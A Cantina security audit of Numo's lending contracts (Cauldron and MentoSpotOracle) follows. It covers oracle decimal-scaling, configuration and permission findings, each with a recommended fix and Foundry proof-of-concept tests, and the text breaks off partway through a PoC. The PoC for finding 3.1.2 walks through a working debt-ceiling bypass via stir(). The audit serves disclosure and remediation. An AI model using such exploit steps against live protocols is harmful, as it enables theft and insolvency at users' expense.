

Numo

Security Review

Cantina Managed review by:
Giovanni Di Siena, Lead Security Researcher
Sujith Somraaj, Lead Security Researcher
Arno, Associate Security Researcher

February 2, 2026

Contents

1 Introduction **2**
- 1.1 About Cantina . . . 2
- 1.2 Disclaimer . . . 2
- 1.3 Risk assessment . . . 2
  - 1.3.1 Severity Classification . . . 2

2 Security Review Summary **3**
- 2.1 Scope . . . 3

3 Findings **4**
- 3.1 Medium Risk . . . 4
  - 3.1.1 `MentoSpotOracle` incorrectly scales the decimals of USDT collateral . . . 4
  - 3.1.2 Cross-collateral debt stirring can bypass ilk debt ceilings . . . 5
- 3.2 Low Risk . . . 9
  - 3.2.1 Loss of security bounds when updating oracle source configuration . . . 9
  - 3.2.2 Missing oracle report count validation . . . 9
  - 3.2.3 USDT depeg risk not accounted in collateral valuation . . . 10
  - 3.2.4 Misconfigured spot oracle source causes `_level()` to revert . . . 11
  - 3.2.5 Necessary permissions are not granted to `Ladle` . . . 12
  - 3.2.6 Missing rate oracle source causes `_level()` to revert . . . 14
- 3.3 Informational . . . 18
  - 3.3.1 Unnecessary parentheses in contract inheritance declaration . . . 18
  - 3.3.2 Incorrect decimals scaling comment in `_peek()` inversion documentation . . . 18
  - 3.3.3 Incorrect return data . . . 19
  - 3.3.4 Increase test coverage . . . 19

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

From Jan 6th to Jan 8th the Cantina team conducted a review of manager-2 on commit hash cf84031b. The team identified a total of **12** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	2	2	0
Low Risk	6	6	0
Gas Optimizations	0	0	0
Informational	4	4	0
Total	**12**	**12**	**0**

2.1 Scope

The security review had the following components in scope for manager-2 on commit hash cf84031b:

```
src
├── Cauldron.sol
└── oracles
    └── mento
        ├── ISortedOracles.sol
        └── MentoSpotOracle.sol
```

3 Findings

3.1 Medium Risk

3.1.1 `MentoSpotOracle` incorrectly scales the decimals of USDT collateral

Severity: Medium Risk

Context: Cauldron.sol#L476, MentoSpotOracle.sol#L226

Description: The `balances_.ink` state passed through to `MentoSpotOracle::get` from within `_level()` is the USDT collateral. This value will therefore have 6 decimals of precision; however, `MentoSpotOracle` expects all USDT quote token amounts to be in 18 decimal precision. Assuming the oracle source is correctly configured, this mismatch will result in significantly underpricing the value of the USDT collateral in KESm terms, disabling core vault functionality due to undercollateralization.

Proof of Concept:

```
pragma solidity >=0.8.13;

import {Cauldron} from "src/Cauldron.sol";
import {ISortedOracles} from "src/oracles/mento/ISortedOracles.sol";
import {Join} from "src/Join.sol";
import {Ladle} from "src/Ladle.sol";
import {MentoSpotOracle} from "src/oracles/mento/MentoSpotOracle.sol";

import {IERC20} from "@yield-protocol/utils-v2/src/token/IERC20.sol";
import {Test} from "forge-std/src/Test.sol";

contract AuditTest is Test {
    address public constant USDT_TOKEN = 0x48065fbBE25f71C9282ddf5e1cD6D6A887483D5e;
    address public constant CKES_TOKEN = 0x456a3D042C0DbD3db53D5489e98dFb038553B0d0;

    ISortedOracles public constant SORTED_ORACLES =
    ↪  ISortedOracles(0xefB84935239dAcdecF7c5bA76d8dE40b077B7b33);
    MentoSpotOracle public constant SPOT_ORACLE =
    ↪  MentoSpotOracle(0xe75c636C4440FA87bB6b3eae6f49a39C15a29F33);
    address public constant KES_USD_FEED = 0xbAcEE37d31b9f022Ef5d232B9fD53F05a531c169;

    Cauldron public constant CAULDRON =
    ↪  Cauldron(0xDD3aF9Ba14bFE164946A898CFB42433D201f5f01);
    Ladle public constant LADLE =
    ↪  Ladle(payable(0xF6E0Dc52aa8BF16B908b1bA747a0591c5ad35E2E));
    Join public constant USDT_JOIN = Join(0xB493EE06Ee728F468B1d74fB2B335E42BB1B3E27);
    Join public constant CKES_JOIN = Join(0x075d4302978Ff779624859E98129E8b166e7DbC0);

    bytes6 public constant CKES_ID = 0x634B45530000; // "cKES"
    bytes6 public constant USDT_ID = 0x555344540000; // "USDT"
    bytes6 public constant SERIES_ID = 0x323641505200;

    bytes12 public constant VAULT_ID = bytes12(keccak256("VAULT_1"));

    address public constant OWNER = 0xC7bE60b228b997c23094DdfdD71e22E2DE6C9310;

    function setUp() external {
        vm.createSelectFork("wss://celo.drpc.org", 54529831);
    }

    function test_decimals() external {
        vm.startPrank(OWNER);

        // Build a vault
        CAULDRON.grantRole(CAULDRON.build.selector, OWNER);
        CAULDRON.build(OWNER, VAULT_ID, SERIES_ID, USDT_ID);

        // Get some tokens for testing
        // Deal USDT tokens to OWNER (this is what we'll deposit as collateral)
```

```
        deal(USDT_TOKEN, OWNER, 10e6); // 10 USDT with 6 decimals

        // Deal cKES to the join (this is what will be borrowed)
        deal(CKES_TOKEN, address(CKES_JOIN), 1000e18); // 1000 cKES available to borrow

        // Manually update join's stored balance to reflect the dealt tokens
        // (In production, tokens would come through proper join() calls)
        vm.store(
            address(CKES_JOIN),
            bytes32(uint256(1)), // storedBalance is at slot 1
            bytes32(uint256(1000e18))
        );

        // Approve tokens
        IERC20(USDT_TOKEN).approve(address(USDT_JOIN), type(uint256).max);

        // Pour: deposit 10 USDT (10e6) collateral and borrow 600 cKES (600e18)
        // At 1 USDT = 128.95 cKES, 10 USDT = 1289.5 cKES collateral value
        // At 200% ratio: max borrow = 1289.5 / 2 = 644.75 cKES
        // Borrowing 600 cKES to be safe

        // ================ 1a. Pour reverts due to missing source (it's reversed)
        ↪  ================
        vm.expectRevert("Source not found");
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

        // ================ 1b. Correctly set oracle source ================
        // also increase max age to avoid reverts due to stale price
        SPOT_ORACLE.setSource(USDT_ID, CKES_ID, KES_USD_FEED, type(uint256).max);

        // ================ 2a. Pour reverts due to incorrect decimal precision scaling
        ↪  ================
        vm.expectRevert("Undercollateralized");
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

        // ================ 2b. Etch a new version of the oracle which scales decimals
        ↪  correctly ================
        // i.e. manually change L226 to the following and recompile: value = (amount *
        ↪  invertedRate) / 1e6;
        vm.etch(address(SPOT_ORACLE), address(new MentoSpotOracle(SORTED_ORACLES)).code);

        // NOTE: this no longer reverts with "Undercollateralized" but rather "Access
        ↪  denied" (addressed separately)
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));
    }
}
```

Recommendation: Apply the following diff to `MentoSpotOracle::_peek` to correctly scale the decimals of USDT collateral:

```
- value = (amount * invertedRate) / 1e18;
+ value = (amount * invertedRate) / 1e6;
```

Additionally ensure that the NatSpec and inline documentation is updated accordingly to accurately reflect the true post-mitigation implementation.

Numo: Fixed in commit cd3f32f.

Cantina Managed: Verified. `Ilk` decimals are now normalized to wad precision.

3.1.2 Cross-collateral debt stirring can bypass ilk debt ceilings

Severity: Medium Risk

Context: Cauldron.sol#L299-L303, Cauldron.sol#L332-L342

Description: Debt ceilings exist to limit protocol exposure to specific collateral types and mitigate against

risks associated with potentially volatile or otherwise mispriced assets. A debt ceiling bypass would allow an attacker to accumulate unlimited debt against a collateral type that was intentionally restricted, likely resulting in the protocol becoming insolvent due to the accrual of more bad debt than can be absorbed.

`Cauldron::stir` allows debt of the same series to be moved between vaults, even if the collateral assets differ. However, the current logic fails to update the global debt tracking maintained within `_pour()` which therefore becomes incorrect. This results in a situation where the actual exposure to a given collateral is higher than the protocol expects, while the debt of the collateral from which the stir originated is not updated. In addition to insolvency risk, this will present as a DoS vector against collateral assets that are already at or near the configured debt ceiling.

Consider the following scenario:

- Attacker borrows max from `vaultA` against `ilkA` (high ceiling = `500e18`).
- Attacker stirs debt to `vaultB` against `ilkB` (low ceiling = `100e18`).
- The `debt.sum` of `ilkA` remains inflated at 500e18.
- The `debt.sum` of `ilkB` remains at zero even though the debt was moved to `vaultB`.
- Legitimate users cannot borrow from `vaultA` against `ilkA` even though no real debt exists there.
- Users can continue to borrow from `vaultB` against `ilkB` even though the intended debt ceiling has been exceeded.

Proof of Concept:

```
pragma solidity >=0.8.13;

import {AccumulatorMultiOracle} from
↪  "src/oracles/accumulator/AccumulatorMultiOracle.sol";
import {Cauldron} from "src/Cauldron.sol";
import {FYToken} from "src/FYToken.sol";
import {IJoin} from "src/interfaces/IJoin.sol";
import {IOracle} from "src/interfaces/IOracle.sol";
import {ISortedOracles} from "src/oracles/mento/ISortedOracles.sol";
import {Join} from "src/Join.sol";
import {Ladle} from "src/Ladle.sol";
import {MentoSpotOracle} from "src/oracles/mento/MentoSpotOracle.sol";

import {IERC20} from "@yield-protocol/utils-v2/src/token/IERC20.sol";
import {console2} from "forge-std/src/console2.sol";
import {Test} from "forge-std/src/Test.sol";

contract StirTest is Test {
    address public constant USDT_TOKEN = 0x48065fbBE25f71C9282ddf5e1cD6D6A887483D5e;
    address public constant USDC_TOKEN = 0xcebA9300f2b948710d2653dD7B07f33A8B32118C;
    address public constant CKES_TOKEN = 0x456a3D042C0DbD3db53D5489e98dFb038553B0d0;

    ISortedOracles public constant SORTED_ORACLES =
    ↪  ISortedOracles(0xefB84935239dAcdecF7c5bA76d8dE40b077B7b33);
    MentoSpotOracle public constant SPOT_ORACLE =
    ↪  MentoSpotOracle(0xe75c636C4440FA87bB6b3eae6f49a39C15a29F33);
    address public constant KES_USD_FEED = 0xbAcEE37d31b9f022Ef5d232B9fD53F05a531c169;

    Cauldron public constant CAULDRON =
    ↪  Cauldron(0xDD3aF9Ba14bFE164946A898CFB42433D201f5f01);
    Ladle public constant LADLE =
    ↪  Ladle(payable(0xF6E0Dc52aa8BF16B908b1bA747a0591c5ad35E2E));
    Join public constant USDT_JOIN = Join(0xB493EE06Ee728F468B1d74fB2B335E42BB1B3E27);
    Join public constant CKES_JOIN = Join(0x075d4302978Ff779624859E98129E8b166e7DbC0);
    FYToken public constant FY_CKES =
    ↪  FYToken(0x65AF06b9a00Ac6865CB4f68a543943Aa8504Cdf1);

    bytes6 public constant CKES_ID = 0x634B45530000; // "cKES"
    bytes6 public constant USDT_ID = 0x555344540000; // "USDT"
    bytes6 public constant USDC_ID = 0x555344430000; // "USDC"
    bytes6 public constant SERIES_ID = 0x323641505200;
```

```
address public constant OWNER = 0xC7bE60b228b997c23094DdfdD71e22E2DE6C9310;

bytes12 public constant VAULT_A = bytes12(keccak256("VAULT_A"));
bytes12 public constant VAULT_B = bytes12(keccak256("VAULT_B"));

Join public usdcJoin;

function setUp() external {
    vm.createSelectFork("wss://celo.drpc.org", 54529831);
}

/// @notice Demonstrates debt ceiling bypass via stir()
function test_stir_debt_ceiling_bypass() external {
    vm.startPrank(OWNER);

    // ============ SETUP: Add USDC as second collateral ============

    // Deploy USDC Join
    usdcJoin = new Join(USDC_TOKEN);
    usdcJoin.grantRole(usdcJoin.join.selector, address(LADLE));
    usdcJoin.grantRole(usdcJoin.join.selector, OWNER);
    usdcJoin.grantRole(usdcJoin.exit.selector, address(LADLE));

    // Grant roles for setup
    CAULDRON.grantRole(CAULDRON.addAsset.selector, OWNER);
    CAULDRON.grantRole(CAULDRON.setDebtLimits.selector, OWNER);
    CAULDRON.grantRole(CAULDRON.setSpotOracle.selector, OWNER);
    CAULDRON.grantRole(CAULDRON.addIlks.selector, OWNER);
    CAULDRON.grantRole(CAULDRON.build.selector, OWNER);
    CAULDRON.grantRole(CAULDRON.pour.selector, OWNER);
    CAULDRON.grantRole(CAULDRON.stir.selector, address(LADLE));
    LADLE.grantRole(LADLE.addJoin.selector, OWNER);
    FY_CKES.grantRole(FY_CKES.mint.selector, address(LADLE));

    // Register USDC as asset
    CAULDRON.addAsset(USDC_ID, USDC_TOKEN);

    // Set debt limits:
    // USDT (ilkA): HIGH ceiling - 10000 cKES
    // USDC (ilkB): LOW ceiling - 100 cKES (this is the ceiling we bypass)
    CAULDRON.setDebtLimits(CKES_ID, USDT_ID, 10000, 0, 18);
    CAULDRON.setDebtLimits(CKES_ID, USDC_ID, 100, 0, 18);

    // Fix spot oracle decimal scaling and configure sources
    vm.etch(address(SPOT_ORACLE), address(new MentoSpotOracle(SORTED_ORACLES)).code);
    SPOT_ORACLE.setSource(USDT_ID, CKES_ID, KES_USD_FEED, type(uint256).max);
    SPOT_ORACLE.setSource(USDC_ID, CKES_ID, KES_USD_FEED, type(uint256).max);

    // Register spot oracle for USDC collateral in Cauldron (150% collateralization)
    CAULDRON.setSpotOracle(CKES_ID, USDC_ID, IOracle(address(SPOT_ORACLE)), 1500000);

    // Add USDC as ilk for the series
    bytes6[] memory ilks = new bytes6[](1);
    ilks[0] = USDC_ID;
    CAULDRON.addIlks(SERIES_ID, ilks);

    // Register USDC join with Ladle
    LADLE.addJoin(USDC_ID, IJoin(address(usdcJoin)));

    // Prepare cKES for borrowing
    deal(CKES_TOKEN, address(CKES_JOIN), 10000e18);
    vm.store(address(CKES_JOIN), bytes32(uint256(1)), bytes32(uint256(10000e18)));

    // ============ STEP 1: Create vaults ============
    CAULDRON.build(OWNER, VAULT_A, SERIES_ID, USDT_ID); // High ceiling
```

```
        CAULDRON.build(OWNER, VAULT_B, SERIES_ID, USDC_ID); // Low ceiling

        // Record initial debt state
        (uint96 maxB, , , uint128 sumB_before) = CAULDRON.debt(CKES_ID, USDC_ID);
        console2.log("=== Initial State ===");
        console2.log("USDC debt ceiling:", uint256(maxB) * 1e18);
        console2.log("USDC debt sum:", sumB_before);

        // ============ STEP 2: Borrow 500 cKES in VaultA (USDT collateral) ============
        uint128 borrowAmount = 500e18;
        deal(USDT_TOKEN, OWNER, 10e6);
        IERC20(USDT_TOKEN).approve(address(USDT_JOIN), type(uint256).max);
        LADLE.pour(VAULT_A, OWNER, int128(uint128(10e6)), int128(borrowAmount));

        (, , , uint128 sumA_after) = CAULDRON.debt(CKES_ID, USDT_ID);
        console2.log("\n=== After Borrowing in VaultA ===");
        console2.log("USDT debt sum:", sumA_after);

        // ============ STEP 3: Deposit collateral in VaultB ============
        deal(USDC_TOKEN, OWNER, 10e6);
        IERC20(USDC_TOKEN).approve(address(usdcJoin), type(uint256).max);
        usdcJoin.join(OWNER, 10e6);
        CAULDRON.pour(VAULT_B, int128(uint128(10e6)), 0);

        // ============ STEP 4: THE EXPLOIT - stir debt to VaultB ============
        console2.log("\n=== Executing stir(VAULT_A, VAULT_B, 0, 500e18) ===");
        LADLE.stir(VAULT_A, VAULT_B, 0, borrowAmount);

        // ============ VERIFY EXPLOIT ============
        (uint128 artA, ) = CAULDRON.balances(VAULT_A);
        (uint128 artB, ) = CAULDRON.balances(VAULT_B);
        (, , , uint128 sumA_final) = CAULDRON.debt(CKES_ID, USDT_ID);
        (, , , uint128 sumB_final) = CAULDRON.debt(CKES_ID, USDC_ID);

        console2.log("\n=== Post-Exploit State ===");
        console2.log("VaultA debt:", artA);
        console2.log("VaultB debt:", artB);
        console2.log("USDT debt sum (should be 0):", sumA_final);
        console2.log("USDC debt sum (should be 500e18):", sumB_final);
        console2.log("USDC ceiling:", uint256(maxB) * 1e18);

        // Assertions
        assertEq(artB, borrowAmount, "VaultB should hold the debt");
        assertEq(artA, 0, "VaultA should be debt-free");
        assertEq(sumB_final, sumB_before, "BUG: USDC debt sum never increased");
        assertEq(sumA_final, sumA_after, "BUG: USDT debt sum stays inflated");
        assertTrue(artB > uint256(maxB) * 1e18, "CEILING BYPASS: VaultB exceeds USDC
        ↪  ceiling");

        console2.log("\n=== EXPLOIT SUCCESSFUL ===");
        console2.log("VaultB debt:", artB);
        console2.log("USDC ceiling:", uint256(maxB) * 1e18);
        console2.log("Ceiling exceeded by:", artB - uint256(maxB) * 1e18);

        vm.stopPrank();
    }
}
```

Recommendation: `stir()` should update the global accounting when moving debt between vaults with differing `ilkId`:

```
  if (art > 0) {
      require(vaultFrom.seriesId == vaultTo.seriesId, "Different series");
+     if (vaultFrom.ilkId != vaultTo.ilkId) {
+         bytes6 baseId = series[vaultFrom.seriesId].baseId;
+         debt[baseId][vaultFrom.ilkId].sum -= art;
```

```
+         debt[baseId][vaultTo.ilkId].sum += art;
+         DataTypes.Debt memory debtTo = debt[baseId][vaultTo.ilkId];
+         uint128 line = debtTo.max * uint128(10) ** debtTo.dec;
+         // Also enforce ceiling on destination
+         require(debtTo.sum <= line, "Max debt exceeded");
+     }

      balancesFrom.art -= art;
      balancesTo.art += art;
  }
```

Numo: Fixed in commit 888f50d.

Cantina Managed: Verified. The global accounting is now updated when moving debt between vaults of differing `ilkId`.

3.2 Low Risk

3.2.1 Loss of security bounds when updating oracle source configuration

Severity: Low Risk

Context: MentoSpotOracle.sol#L89-L94

Description: The `setSource()` function always replaces the entire Source struct when updating an Oracle configuration, resetting previous price bounds to zero, thereby silently disabling sanity checks during updates. This forces the admin to set bounds again for source updates, which is cumbersome.

Recommendation: Preserve existing price bounds when updating other source parameters. Implement one of the following solutions:

```
function setSource(bytes6 baseId, bytes6 quoteId, address rateFeedID, uint256 maxAge)
↪  external auth {
      require(rateFeedID != address(0), "Invalid rateFeedID");
      require(maxAge > 0, "maxAge must be > 0");

      Source memory source = sources[baseId][quoteId];

      sources[baseId][quoteId] = Source({
          rateFeedID: rateFeedID,
          maxAge: maxAge,
          minPrice: source.minPrice,
          maxPrice: source.maxPrice
      });

      emit SourceSet(baseId, quoteId, rateFeedID, maxAge);
}
```

Numo: Fixed in commit e3054cb.

Cantina Managed: Verified. `setSource()` no longer overwrites the price bounds.

3.2.2 Missing oracle report count validation

Severity: Low Risk

Context: MentoSpotOracle.sol#L167-L171

Description: The oracle does not validate the number of price reports available in the Mento `SortedOracles` contract before accepting the median price. The `ISortedOracles.numRates()` function provides this critical data but is never queried. This allows the protocol to accept median prices calculated from an insufficient number of data points, which can be unreliable or manipulated.

Recommendation: Add a `minNumRates` configuration parameter to ensure sufficient oracle participation before accepting prices.

```
  struct Source {
     address rateFeedID;
     uint256 maxAge;
     uint256 minPrice;
     uint256 maxPrice;
+    uint256 minNumRates;  // New: Minimum number of oracle reports required
  }

  function _peek(bytes6 baseId, bytes6 quoteId, uint256 amount)
        private
        view
        returns (uint256 value, uint256 updateTime)
  {
    // ....
+   uint256 numReports = sortedOracles.numRates(source.rateFeedID);
+   require(numReports >= source.minNumRates, "Insufficient oracle reports");
    // ....
  }
```

Numo: Fixed in commit cdfd5db.

Cantina Managed: Verified. If the configured `minNumRates` is non-zero then it is compared against the returned number of oracle reports.

3.2.3 USDT depeg risk not accounted in collateral valuation

Severity: Low Risk

Context: MentoSpotOracle.sol#L222-L226

Description: The `MentoSpotOracle.sol` contract assumes a 1:1 peg between USDT and USD when valuing collateral, creating asymmetric risks during USDT depeg events.

```
value = (amount * invertedRate) / 1e18;
```

The oracle fetches the `KES/USD` exchange rate from Mento's `SortedOracles` and inverts it to calculate cKES per USDT. However, it treats the quote asset (USDT) as equivalent to USD without incorporating an actual USDT/USD price feed. This creates a trade-off in which mitigated liquidation cascade exposes the protocol to undercollateralization risk.

Consider the scenario in which USDT falls below its $1.00 peg:

- The KESm debt position (collateralized by USDC) is underlying the zero coupon fyKESm bond (collateralized by USDT).
- In the absence of the hardcoded 1:1 assumption, USDT depegs would cause this collateral to be sold off to repurchase KESm which, with insufficient liquidity, could cause a buy-side shock and spike in the KESm price.
- This ”liquidity trap” could have a systemic effect on the underlying Mento positions which would seize USDC to burn KESm as collateral ratios worsen when it trades at a premium.
- This scenario is similar to what may happen if Mento interest rates change but positions cannot easily be deleveraged due to being locked up as fyKESm until maturity (unless perhaps sold at a significant discount).

However, by valuing USDT 1:1 with USD, this actually provides a circuit breaker effect. Even if USDT traded above peg at $1.05, the oracle would still value it at $1.00. This prevents forced liquidations that would otherwise trigger from collateral losing value, regardless of the instantaneous value of the peg.

While this mitigates potential contagion, there is risk of undercollateralization during a depeg event. USDT could be purchased at a discount and a large amount of unbacked fyKESm could be minted, leaving the vault undercollateralized. For example:

- An attacker purchases USDT $0.90.
- The oracle values this USDT collateral at $1.00.

- The attacker receives 10% more borrowing capacity than the actual USD value of their collateral.
- This allows minting fyKESm tokens backed by insufficient real value.

The hardcoded assumption prevents downside liquidation cascades but enables upside collateralization attacks.

Recommendation: If precise collateralization is required, consider integrating a USDT / USD pricing oracle. Alternatively, if the hardcoded assumption is good enough for the protocol, then consider documenting the trade-off with good off-chain monitoring of depeg events.

Numo: Fixed in commits 32d3c2d, be5bf3d, 3130af8, and 4d3323c.

Cantina Managed: Verified. USDT collateral is now priced using the Chainlink USDT/USD feed.

3.2.4 Misconfigured spot oracle source causes `_level()` to revert

Severity: Low Risk

Context: Cauldron.sol#L476, MentoSpotOracle.sol#L178

Description: While the `MentoSpotOracle` is correctly configured on the `Cauldron`, the actual oracle source is configured in the incorrect direction, with KESm as base asset and USDT as the quote asset. This is problematic because the arguments to `get(bytes32 base, bytes32 quote, uint256 amount)` are `(USDT id, KESm id, USDT collateral)` which is reversed from the expectation of the oracle to have USDT as the quote token. Execution of `_level()` will therefore revert as the intended `rateFeedID` will not be found when reading the `sources` mapping.

Proof of Concept:

```
pragma solidity >=0.8.13;

import {Cauldron} from "src/Cauldron.sol";
import {Join} from "src/Join.sol";
import {Ladle} from "src/Ladle.sol";
import {MentoSpotOracle} from "src/oracles/mento/MentoSpotOracle.sol";

import {IERC20} from "@yield-protocol/utils-v2/src/token/IERC20.sol";
import {Test} from "forge-std/src/Test.sol";

contract AuditTest is Test {
    address public constant USDT_TOKEN = 0x48065fbBE25f71C9282ddf5e1cD6D6A887483D5e;
    address public constant CKES_TOKEN = 0x456a3D042C0DbD3db53D5489e98dFb038553B0d0;

    MentoSpotOracle public constant SPOT_ORACLE =
    ↪  MentoSpotOracle(0xe75c636C4440FA87bB6b3eae6f49a39C15a29F33);
    address public constant KES_USD_FEED = 0xbAcEE37d31b9f022Ef5d232B9fD53F05a531c169;

    Cauldron public constant CAULDRON =
    ↪  Cauldron(0xDD3aF9Ba14bFE164946A898CFB42433D201f5f01);
    Ladle public constant LADLE =
    ↪  Ladle(payable(0xF6E0Dc52aa8BF16B908b1bA747a0591c5ad35E2E));
    Join public constant USDT_JOIN = Join(0xB493EE06Ee728F468B1d74fB2B335E42BB1B3E27);
    Join public constant CKES_JOIN = Join(0x075d4302978Ff779624859E98129E8b166e7DbC0);

    bytes6 public constant CKES_ID = 0x634B45530000; // "cKES"
    bytes6 public constant USDT_ID = 0x555344540000; // "USDT"
    bytes6 public constant SERIES_ID = 0x323641505200;

    bytes12 public constant VAULT_ID = bytes12(keccak256("VAULT_1"));

    address public constant OWNER = 0xC7bE60b228b997c23094DdfdD71e22E2DE6C9310;

    function setUp() external {
        vm.createSelectFork("wss://celo.drpc.org", 54529831);
    }

    function test_sourceMisconfiguration() external {
```

```
        vm.startPrank(OWNER);

        // Build a vault
        CAULDRON.grantRole(CAULDRON.build.selector, OWNER);
        CAULDRON.build(OWNER, VAULT_ID, SERIES_ID, USDT_ID);

        // Get some tokens for testing
        // Deal USDT tokens to OWNER (this is what we'll deposit as collateral)
        deal(USDT_TOKEN, OWNER, 10e6); // 10 USDT with 6 decimals

        // Deal cKES to the join (this is what will be borrowed)
        deal(CKES_TOKEN, address(CKES_JOIN), 1000e18); // 1000 cKES available to borrow

        // Manually update join's stored balance to reflect the dealt tokens
        // (In production, tokens would come through proper join() calls)
        vm.store(
            address(CKES_JOIN),
            bytes32(uint256(1)), // storedBalance is at slot 1
            bytes32(uint256(1000e18))
        );

        // Approve tokens
        IERC20(USDT_TOKEN).approve(address(USDT_JOIN), type(uint256).max);

        // Pour: deposit 10 USDT (10e6) collateral and borrow 600 cKES (600e18)
        // At 1 USDT = 128.95 cKES, 10 USDT = 1289.5 cKES collateral value
        // At 200% ratio: max borrow = 1289.5 / 2 = 644.75 cKES
        // Borrowing 600 cKES to be safe

        // ================ 1a. Pour reverts due to missing source (it's reversed)
        ↪  ================
        vm.expectRevert("Source not found");
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

        // ================ 1b. Correctly set oracle source ================
        // also increase max age to avoid reverts due to stale price
        SPOT_ORACLE.setSource(USDT_ID, CKES_ID, KES_USD_FEED, type(uint256).max);

        // NOTE: this no longer reverts with "Source not found" but rather
        ↪  "Undercollateralized" (addressed separately)
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));
    }
}
```

Recommendation: Ensure that the `MentoSpotOracle` is configured with USDT as the base asset (from the perspective of `Cauldron`) per the following documentation present in the `IOracle.sol` interface:

```
* @param base The asset in which the `amount` to be converted is represented
* @param quote The asset in which the converted `value` will be represented
* @param amount The amount to be converted from `base` to `quote`
* @return value The converted value of `amount` from `base` to `quote`
```

Numo: Fixed in commit 7743ff7.

Cantina Managed: Verified. The deployment script has been updated.

3.2.5 Necessary permissions are not granted to `Ladle`

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `Ladle` is a privileged contract that serves as the entry point for users to interact with the `Cauldron` and mint/burn fyKESm tokens. However, the necessary permissions are not currently granted which means that the `Ladle` cannot be used by users to perform such actions.

Proof of Concept:

```solidity
pragma solidity >=0.8.13;

import {Cauldron} from "src/Cauldron.sol";
import {FYToken} from "src/FYToken.sol";
import {ISortedOracles} from "src/oracles/mento/ISortedOracles.sol";
import {Join} from "src/Join.sol";
import {Ladle} from "src/Ladle.sol";
import {MentoSpotOracle} from "src/oracles/mento/MentoSpotOracle.sol";

import {IERC20} from "@yield-protocol/utils-v2/src/token/IERC20.sol";
import {console2} from "forge-std/src/console2.sol";
import {Test} from "forge-std/src/Test.sol";

contract AuditTest is Test {
    address public constant USDT_TOKEN = 0x48065fbBE25f71C9282ddf5e1cD6D6A887483D5e;
    address public constant CKES_TOKEN = 0x456a3D042C0DbD3db53D5489e98dFb038553B0d0;

    ISortedOracles public constant SORTED_ORACLES =
    ↪  ISortedOracles(0xefB84935239dAcdecF7c5bA76d8dE40b077B7b33);
    MentoSpotOracle public constant SPOT_ORACLE =
    ↪  MentoSpotOracle(0xe75c636C4440FA87bB6b3eae6f49a39C15a29F33);
    address public constant KES_USD_FEED = 0xbAcEE37d31b9f022Ef5d232B9fD53F05a531c169;

    Cauldron public constant CAULDRON =
    ↪  Cauldron(0xDD3aF9Ba14bFE164946A898CFB42433D201f5f01);
    Ladle public constant LADLE =
    ↪  Ladle(payable(0xF6E0Dc52aa8BF16B908b1bA747a0591c5ad35E2E));
    Join public constant USDT_JOIN = Join(0xB493EE06Ee728F468B1d74fB2B335E42BB1B3E27);
    Join public constant CKES_JOIN = Join(0x075d4302978Ff779624859E98129E8b166e7DbC0);
    FYToken public constant FY_CKES =
    ↪  FYToken(0x65AF06b9a00Ac6865CB4f68a543943Aa8504Cdf1);

    bytes6 public constant CKES_ID = 0x634B45530000; // "cKES"
    bytes6 public constant USDT_ID = 0x555344540000; // "USDT"
    bytes6 public constant SERIES_ID = 0x323641505200;

    bytes12 public constant VAULT_ID = bytes12(keccak256("VAULT_1"));

    address public constant OWNER = 0xC7bE60b228b997c23094DdfdD71e22E2DE6C9310;

    function setUp() external {
        vm.createSelectFork("wss://celo.drpc.org", 54529831);
    }

    function test_ladlePermissions() external {
        vm.startPrank(OWNER);

        // Build a vault
        CAULDRON.grantRole(CAULDRON.build.selector, OWNER);
        CAULDRON.build(OWNER, VAULT_ID, SERIES_ID, USDT_ID);

        // Get some tokens for testing
        // Deal USDT tokens to OWNER (this is what we'll deposit as collateral)
        deal(USDT_TOKEN, OWNER, 10e6); // 10 USDT with 6 decimals

        // Deal cKES to the join (this is what will be borrowed)
        deal(CKES_TOKEN, address(CKES_JOIN), 1000e18); // 1000 cKES available to borrow

        // Manually update join's stored balance to reflect the dealt tokens
        // (In production, tokens would come through proper join() calls)
        vm.store(
            address(CKES_JOIN),
            bytes32(uint256(1)), // storedBalance is at slot 1
            bytes32(uint256(1000e18))
        );
```

```
        // Approve tokens
        IERC20(USDT_TOKEN).approve(address(USDT_JOIN), type(uint256).max);

        // Pour: deposit 10 USDT (10e6) collateral and borrow 600 cKES (600e18)
        // At 1 USDT = 128.95 cKES, 10 USDT = 1289.5 cKES collateral value
        // At 200% ratio: max borrow = 1289.5 / 2 = 644.75 cKES
        // Borrowing 600 cKES to be safe

        // ================ 1a. Pour reverts due to missing source (it's reversed)
        ↪  ================
        vm.expectRevert("Source not found");
        LADLE.pour(VAULT_ID, OWNER, int128(uint128(10e6)), int128(uint128(600e18)));

        // ================ 1b. Correctly set oracle source ================
        // also increase max age to avoid reverts due to stale price
        SPOT_ORACLE.setSource(USDT_ID, CKES_ID, KES_USD_FEED, type(uint256).max);

